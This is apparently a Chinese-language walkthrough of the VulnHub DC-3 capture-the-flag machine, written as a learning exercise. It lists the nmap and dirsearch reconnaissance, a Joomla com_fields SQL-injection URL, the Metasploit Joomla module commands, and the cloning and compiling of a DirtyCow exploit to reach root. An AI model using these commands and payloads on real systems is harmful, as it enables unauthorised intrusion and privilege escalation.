渗透环境:DC3 https://www.vulnhub.com/entry/dc-32,312/
攻击机:192.168.168.128
靶机:ip地址未知, 已知ip与攻击机在同一网段下

信息收集

扫面存活主机

还是老规矩,nmap

1
nmap -sP 192.168.168.0/24

img

发现目标主机为192.168.168.130

扫描主机开放端口

1
nmap -sS -p- 192.168.168.130

img

开放了80端口,浏览器打开

img

收集其他信息

查看cms情况

img

是joomia
用dirsearch看看目录情况

1
dirsearch -u http://192.168.168.130/ -e *

img

渗透

存在管理员后台,看看

img

经测试单纯burp爆破不开来
这我百度joomla存在的漏洞,发现存在sql注入漏洞,测试是否存在

1
http://yourIP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

img

确实是存在报错注入
上msf

1
2
3
4
5
search joomla
use 5
options
set RHOSTS 192.168.168.130
run

img

成功连上了

img

注:后来重做的时候发现在burp时其实已经找到密码了,不然这里用不了

img

提权

三连问身份

1
2
3
shell
whoami
id

img

上传权限漏洞探测脚本

1
2
meterpreter > upload ./linux-exploit-suggester-master/linux-exploit-suggester.sh > /tmp/les.sh

给脚本加执行权限然后执行

1
2
3
4
shell
cd /tmp
chmod +x les.sh
./les.sh

发现脏牛

img

在www目录下下载脏牛提权脚本

1
2
3
4
5
6
shell
git clone https://github.com/gbonacini/CVE-2016-5195.git
cd ./CVE-2016-5195
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil //编译
python -c 'import pty; pty.spawn("/bin/bash")' //打开交互式环境
./dcow //执行

img

OK!

1
2
3
sudo root
dirtyCowfun
cat /root/the-flag.txt

img

DC3 completed